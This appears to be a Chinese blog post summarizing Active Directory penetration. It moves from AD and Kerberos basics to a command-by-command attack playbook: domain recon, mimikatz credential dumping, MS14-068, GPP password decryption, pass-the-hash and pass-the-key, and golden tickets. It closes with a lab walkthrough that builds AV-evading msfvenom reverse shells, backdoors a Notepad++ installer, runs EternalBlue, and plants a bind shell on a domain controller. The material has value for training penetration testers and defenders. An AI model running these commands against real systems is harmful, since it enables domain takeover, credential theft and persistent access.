域渗透总结
?写在前面
- ?博客主页:Scorpio_m7
- ?欢迎关注?点赞?收藏⭐️留言?
- ?本文由 Scorpio_m7原创,CSDN首发!
- ?首发时间:?2021年12月2日?
- ✉️坚持和努力一定能换来诗与远方!
- ?作者水平很有限,如果发现错误,请留言轰炸哦!万分感谢感谢感谢!
域渗透基础
工作组
通过修改工作组的名称加入或者退出某个工作组,点击【计算机】右键,会弹出快捷菜单,然后在快捷菜单中选择【属性】,打开【系统】,弹出【系统属性】对话框,然后切换到【工作组】,点击【修改】键,确定后重新启动计算机即可。
域
域是一个有安全边界的计算机集合,域在中大型企业的网络中很常见,并且很多内部网络中并不是只有一个域的存在,正因为域可以集中管理、拥有便携的网络资源访问和可拓展性等功能,才会在大型企业中广泛应用。
域控制器
域控制器(Domain Controller,DC)是指在“域”模式下,至少 有一台服务器负责每一台联入网络的电脑和用户的验证工作,接入的 电脑和用户也就是所谓在域内的机器和域的用户都是归在域控制器内 管理的,其功能包括但不限于增加、删除、修改等。
活动目录
Active Directory,活动目录简称AD,是一个基于DNS并以树状的数据结构来组成网络服务 存储了了有关网络对象的信息,并以此作为基础 对目录信息进行行合乎逻辑的分层组织,让管理理员 和用户能够轻松地查找和使用这些信息。
活动目录的结构
- 域-Domains
- 组织单元-Organizational Units
- 树和森林-Trees and Forests
域树和域森林
域树
- 多个网域
- 域间的组织关系
- 将AD中多网域相互的关系阶层化
域森林
- 多个域树
- 做为不同网域间的资讯交换角色
- 符合AD树状结构的规范
- 一个组织中最多只能有一个Forest(域森林)
Windows认证协议
NTLM 协议
NTLM是一种网络认证协议,它是基于挑战(Chalenge)/响应(Response)认证机制的一种认证模式。NTLM协议的认证过程分为:协商、质询、验证这个协议只支持Windows
Kerbroes协议
Kerberos 是一种网络认证协议,其设计目标是通过密钥系统为客 户机 / 服务器应用程序提供强大的认证服务。该认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全,并假定网络上传送的数据包可以被任意地读取、修改和插入数据。在以上情况下, Kerberos 作为一 种可信任的第三方认证服务,是通过传统的密码技术(如:共享 密钥)执行认证服务的。
Kerbroes协议的基础概念
票据(Ticket):是网络对象互相访问的凭证。 TGT(Ticket Granting Ticket):入场券,通过入场券能够获得票据,是一种临时凭证的存在。KDC负责管理票据、认证票据、分发票据,但是KDC不是一个独立的服务,它由以下服务组成:Authentication Service: 为client生成TGT的服务Ticket Granting Service: 为client生成某个服务的ticket另外还需要介绍一个类似于本机SAM的一个数据库:AD,全称叫account database(账户数据库),存储所有client的白名单,只有存 在于白名单的client才能顺利申请到TGT。从物理层面看,AD与KDC均为域控制器(Domain Controller)。
域认证流程
client向kerberos服务请求,希望获取访问server的权限。 kerberos得到了这个消息,首先得判断client是否是可信赖的, 也就是白名单黑名单的说法。这就是AS服务完成的工作,通过 在AD中存储黑名单和白名单来区分client。成功后,返回AS返 回TGT给client。client得到了TGT后,继续向kerberos请求,希望获取访问 server的权限。kerberos又得到了这个消息,这时候通过client 消息中的TGT,判断出了client拥有了这个权限,给了client访 问server的权限ticket。client得到ticket后,终于可以成功访问server。这个ticket只是 针对这个server,其他server需要向TGS申请
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-EzxSZLn9-1638424427334)(https://raw.githubusercontent.com/Scorpio-m7/Penetration-Zbook/main/img/kerberos.png)]
Session Key用于客户端向TGS服务通信。域内所有网络对象的凭证都在AD中保存。KDC中某个用户指的是krbtgt
域渗透常用命令
查找当前域
net view /domain
查看当前存在几个域
net time /domain
查看域时间及域服务器的名字
net view /domain:域名称
查看当前域内的所有计算机
查找域控
- 通过
ipconfig /all
命令,查看详细的网络配置,获得本机IP、域和DNS服务器。在单域中,DNS与DC是在同一服务器中,大致可以判断域控DC的地址为DNS服务器的ip - 为了更好的判断出域DC服务器的地址可以使用
ping 域名
命令进行行验证,确定DNS服务器的ip地址为域DC地址 - 对于定位域DC的方法有很多种,可使用
net group "Domain Controllers"
命令来查找域控制器组。 - 得知域的机器名字后,使用
ping 域控机器名
命令获取其IP地址。 - 域管理员对域内的其他成员具有完全控制权,对域管理员的渗透是域渗透的重点。我们首先要找到域管理员用户,通过
net group "domain admins" /domain
命令查询有管理权限的用户
域渗透常用工具
Metasploit简介
Metasploit是一个免费的、可下载的框架, 通过它可以很容易地 获取、开发并对计算机软件漏洞实施攻击。它本身 附带数百个 已知软件漏洞的专业级漏洞攻击工具。在kali中使用msfconsole来打开。
Metasploit模块
- exploits模块:漏洞攻击模块列表,入侵式。命名规则模块/系统/服务/名称。
- payloads模块:漏洞负载模块与exploits模块配合使用的用于入侵后的操作
- auxiliary模块:辅助模块,该模块负责执行扫描、嗅探、指纹识别等相关功能以辅助渗透测试。
- encoders模块:编码器模块,该模块负责免杀,以防止被杀毒软件、防火墙、IDS及类似的安全软件检测出来。
- Post 模块:后期渗透模块,该模块用于后渗透攻击动作,如获取敏感信息、实施跳板攻击等
Msf常用命令
- show exploits
- info + 模块 展示指定渗透攻击或模块的相关信息。例如
info windows/x64/shell/reverse_tcp
- use +模块 选择一个模块。
show options
查看攻击前需要的准备 -
set RPORT
设置目标主机的ip地址和端口。set LPORT
本地的ip 和端口。run
或者exploit
执行
Cobalt Strike简介
cobalt Strike是一款美国Red Team开发的渗透测试神器,常被业界人称为CS,其拥有多种协议主机上线方式,集成了提权,凭据导出,端口转发,socket代理,office攻击,文件捆绑,钓鱼等功能。分为服务端(teamserver)和客户端,服务端是一个,客户端可以有多个,团队可进行分布式协团操作。客户端可在windows上运行,服务端必须在Linux上,且两者都需Java环境。
mimikatz简介
mimikatz常用于获取windows系统明文密码、系统账号hash、浏览器密码、VPN(ADSL)密码、RDP终端密码等,在内网横向渗透中可用于各种凭证的导入导出
Mimikatz命令
- 提升权限 privilege::debug
- 抓取密码 sekurlsa::logonpasswords
- 列出进程 process::list
- 暂停进程 process::suspend 进程名称 暂停进程
- 结束进程 process::stop 进程名称
- 列出系统的服务 service::list
- 移除系统的服务 service::remove
- 列出权限列表 privilege::list
- 打开系统的cmd.exe nogpo::cmd
- 打开系统的注册表 nogpo::regedit
- 打开任务管理器 nogpo::taskmgr
- 显示当前的会话 ts::sessions
端口转发及代理工具
- pipe:windows下面的端口转发软件,比较老牌的工具,使用场景有限。
- sockscap:老牌的socks代理工具,主要针对windows平台的端口转发和代理转发。
- proxifier:跨平台的端口转发和代理工具,适用windows,linux,Macos平台,代理转发利器
- Rsscoks:端口转发和代理工具,配合proxychains好用到不行。
- Proxychains:老牌的socks代理工具,一般的系统都会自带。
- ssh proxy:通过ssh做端口代理和转发。
- netcat:socat,hping,在很多情况下可以做端口转发和数据代理转发。
- metasploit:metasploit的后渗透模块中有不少代理模块和端口转发模块。
端口扫描类工具
- s扫描器:早期的比较快速的端口扫描工具,运行于windows平台
- mt.exe:国内比较早的一个针对2k和2k3的渗透工具集
- hd.exe:早起国内某大神修改的mt的升级版,很强。
- nmap:不多说,用它。
- fscan:foundstone出品的比较早的命令行扫描工具,windows平台内网扫描必备。
- metasploit:metasploit的各种端口扫描模块
- nc.exe:做小范围端口扫描还是比较合适的
- Portscan.ps:全球最大的搞基平台gayhub上有各种大神写的针对windows端口扫描的
- powershell脚本,请自行搜索
域渗透横向移动
MS14-068攻击
漏洞产生原因
Windows Kerberos对KerberosTickets中的PAC验证流程中存在安全漏洞,低权限的经过认证的远程攻击者利用该漏洞可以伪造一个PAC并通过KerberosKDC的验证。
漏洞利用条件
- 获得域控内普通的计算机权限,已经在域控内的机器。
- 域控没有安装MS14-068的补丁,MS14-068对应的补丁为KB3011780,可在域控上通过
systeminfo
查看是否安装此补丁
利用步骤
- 获取SID:生成一个Kerberos认证票据需要SID信息, 首先要使用命令
whoami /user
查看一下本机用户的SID。 - 生成伪造票据:利用提权工具生成伪造的Kerberos协议认证证书,漏洞利用工具执行成功会在当前目录下生成一个
ccache
格式文件。ms14-086.exe -u(域用户@域)-p(域用户密码) -s(sid)-d (dc_ip)
- 删除缓存票据:运行mimikatz.exe使用
klist purge
删除当前缓存的Kerberos票据。 - 导入票据获取域控权限:运行mimikatz.exe使用
kerberos::ptc 自定义命名.ccache
导入生成的票据 - 攻击结束后使用
dir \dcc$
命令列举域控的C盘来证明漏洞利用成功
MS14-025攻击
漏洞产生原因
域管在配置完GPP后会在SYSVOL文件夹内保存配置的XML文件,所以我们可以利用到这一情况对保存的XML文件的密文进行解密。
防御方法
- 安装了GPP凭证补丁:KB2962486,补丁禁止在组策略配置中填入密码
- 不在组策略中使用域控密码
- SYSVOL文件夹访问权限
- 不使用GPP配置
利用步骤
- 判断SYSVOL文件夹访问权限。SYVOL文件的位置:
\<DOMAIN>SYSVOL<DOMAIN>Policies
,<DOMAIN>
代表的是域名字,首先要访问看是否有权限访问 - 攻击者访问SYSVOL共享文件夹的XML配置文件(group.xml),加密的密码通过查找搜索cpassword等关键字,发现administrator被AES加密的密码信息,获得AES密文之后就可以用破解脚本进行解密了
- 根据微软官方的密钥自己写脚本解密,或在网上找此解密脚本,得知密码为[email protected]
Pass the Hash攻击
漏洞产生原因
本机Windows应用程序要求用户提供明文密码,调用LsaLogonUser类的API,将该密码转换为一个或两个哈希值,然后在NTLM身份验证期间将其发送到远程服务器。系统内不会存储用户的登录密码,而是存储密码的Hash。想要获取Hash可用Mimikatz从SAM文件或域控的NTDS.dit
文件中获得所有用户的Hash,获取的Hash可以进行此种PTH攻击(Pass the Hash简称)。
利用步骤
-
获取NTLM Hash,攻击目的是获取到域控的权限,所以需要找到一个管理员的Hash。
privilege::debug
提升为debug权限
sekurlsa::logonpasswords
显示最近登录过的用户和最近登录过的计算机的凭证,获取到存储的NTLM。其他用户的NTLM Hash不能直接获取,但可以通过Responder工具进行拦截获取, 在攻击机上运行
python Responder.py -I eth0
,此时攻击机模拟为SMB服务这样就可以让受害者进行认证登录当然也可以设置为如SQL服务器、FTP、HTTP或者SMB服务器等,当受害者机器尝试登录攻击者机器,Responder就获取到了受害者机器用户的NTLMv2哈希值。 -
Hash传递,
/user:
后的用户代表管理员权限账号,/domain:
后的域代表所在域的域名,/ ntlm:
后的hash代表着管理员账号的Hash,运行完成后提示OK,说明攻击成功sekurlsa::pth /user:用户 /domain:域 /ntlm:hash
-
输入完上述的命令后会弹出一个CMD窗口,然后就可以在弹出的窗口内输入
dir \dcc$
命令列举域控的C盘来证明漏洞利用成功
Pass the Key攻击
漏洞产生原因
当目标安装了KB2871997补丁且禁用了NTLM的时候可以使用此种的攻击方式进行攻击,PTK(Pass the Key简称)就是获取用户的AES Key,步骤和PTH攻击类似。
利用步骤
-
获取AES Key
privilege::debug
提升为debug权限sekurlsa::ekeys
列出Kerberos 密钥 -
PTK攻击,获取到用户权限的aes256后使用下列命令进行攻击,注入的命令和PTH的攻击命令区别就在于最后的值
/aes256
,PTH的最后是/ntml
sekurlsa::pth /user:用户 /domain:域 /aes256:has
-
输入完上述的命令后会弹出一个CMD窗口,然后就可以在弹出的窗口内输入
dir \dcc$
命令列举域控的C盘来证明漏洞利用成功
黄金票据权限维持
黄金票据的攻击可以理解为攻击者获取到了普通域用户权限和krbtgt账号的Hash的情况下,进行伪造攻击获取域的管理员权限。
漏洞利用条件
- 域账号
- 域SID
- krbtgt
- NTLM-Hash
- 域名称
TGT利用步骤
-
获取域控krbtgt账号的ntlm和sid
在Mimikatz内运行
lsadump::dcsync /domain:xxx.com /user:krbtgt
意思是向DC发起同步一个对象(获取帐户的密码数据)的质询 -
清空自己的缓存证书
kerberos::purge
-
在Mimikatz工具内执行
kerberos::golden /admin:administrator /domain:xxx.com /sid:x-x-x /krbtgt:xxx /tket:xxx.kiribi
,创建域伪造 administrator用户票据并生成一个的kiribi格式文件 -
开始使用票据进行伪造,在Mimikatz内使用票据即可成功
kerberos::ppt xxx.kiribi
-
执行后成功获取域控制器权限,然后使用
dir \dcc$
命令列出DC的C盘
实战记录
服务器和web 信息的收集
Masscan 扫描端口masscan -p 1-65535 --rate=1000 192.168.1.13
Nmap 进行端口扫描nmap -p 3306,47001,49154,3389,445,49155,139,49152,49156,48157,80,49153 -sC -A 192.168.1.13 -oA hello-p
web收集信息whatweb http://www.webhack123.com/
扫描目录gobuster dir -u http://www.webhack123.com -w /usr/share/wordlists/dirb/big.txt -t 50
web打点
SVN 源码泄露
打开wc.db 文件sqlitebrowser wc.db
,寻找后台、密码等关键信息
hosts_scan
python IP_hosts_scan.py
验证码绕过爆破
上传webshell
metasploit 提权
-
多次使用编码器生成免杀exe文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.211.129 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f raw | msfvenom -e x86/shikata_ga_nai -a x86 --platform windows -i 5 -f raw | msfvenom -e x86/shikata_ga_nai -a x86 --platform windows -i 10 -f raw | msfvenom -e x86/countdown -a x86 --platform windows -i 10 -f exe -o notepad2.exe
用注入方法生成免杀exe文件
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.211.129 LPORT=4444 -e x86/shikata_ga_nai -x /root/桌面/npp.7.9.3.Installer.exe -i 5 -f exe -o nppinstall2.exe
-
打开
msfconsole
-
进入到监听模块
use exploit/multi/handler
-
设置payload
set payload windows/meterpreter/reverse_tcp
-
设置攻击ip
set lhost 192.168.211.129
-
端口
set lport 4444
-
攻击
exploit
-
上传木马并执行
-
查看进程:
ps
-
迁移高权限进程:
migrate PID
-
查看权限:
getuid
收集hash 明文凭证网络信息
-
Hashdump
获取提取Hash值,破解了就是密码 -
run post/windows/gather/smart_hashdump
从注册表中提取hash值,文件会保存在
/root/.msf4/loot/20211114065107_default_10.10.10.149_windows.hashes_734954.txt
是否在域内和找域控位置
-
run post/windows/gather/enum_domain
定位域控 shell
chcp 65001
-
ipconfig /all
Ip 信息 -
arp -a
查看一些有关联的ip 地址 -
netstat -ano
查看端口 ping dc
域内主机分析和整理
-
run post/windows/gather/enum_logged_on_users
登陆过的用户和他的sid,做票据需要用到 -
net view /domain
查看有几个域 -
net view /domain:hackbox
,hackbox域内有几个主机 -
net group /domain
查看工作组信息
开启代理扫描
-
use auxiliary/server/socks4a
设置本地代理模块 -
run
就是放到后台了 -
jobs
关掉就jobs -k - 代理开启了,接着做路由
sessions -i 1
-
run autoroute -s 10.10.10.0/24
添加一条通向目标服务器内网的路由 - 另开一个终端,修改配置文件,
vi /etc/proxychains.conf
- 对域控进行端口扫描
proxychains nmap -sT -Pn 10.10.10.149
永恒之蓝ms17_010 利用
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 10.10.10.149
set payload generic/shell_bind_tcp
exploit
Ms14-068
-
run post/windows/manage/enable_rdp
开启web服务器3389 -
rdesktop 192.168.211.13
远程连接 - 上传ms14-068.exe
-
ms14-068.exe -u 用户名@hackbox.com -s S-1-5-21-2005268815-658469957-1189185684-1103 -d IP -p 密码
生成.ccache文件 - 上传mimikatz
- 运行mimikatz,
kerberos::purge
清理票据 -
kerberos::ptc [email protected]
导入生成的票据 - 回到kail打开shell,
dir \dcc$
验证结果
生成正向攻击载荷获取域控系统权限
- 生成一个正向的后门
msfvenom -p windows/meterpreter/bind_tcp lport=8444 -f exe -o d.exe
- 先上传到web
meterpreter>upload d.exe C:/phpstudy_pro/WWW/www.webhack123.com/
-
copy d.exe \dcc$d.exe
把d.exe 复制到dc 里面 -
at \dc 18:56:00 c:/d.exe
设定时间让系统去执行。 -
use exploit/multi/handler
使用这个模块 set payload windows/meterpreter/bind_tcp
set lport 8444
set rhost 10.10.10.149
exploit
黄金票据制作
- 切换到web
sessions –i 1
load kiwi
-
kerberos_ticket_purge
清除票据 - 进入到域控
sessions 2
- ps 去窃取一个权限
-
steal_token 2092
变成了域控管理员 dcsync_ntlm krbtgt
-
golden_ticket_create -d hackbox.com -u moonsec -s S-1-5-21-2005268815-658469957-1189185684 -k 6f60ace6accbcb76078ccc0312174e98 -t /tmp/krbtgt.ticket
票据就做好了 - 切换到web
sessions –i 1
-
kerberos_ticket_use /tmp/krbtgt.ticket
导入票据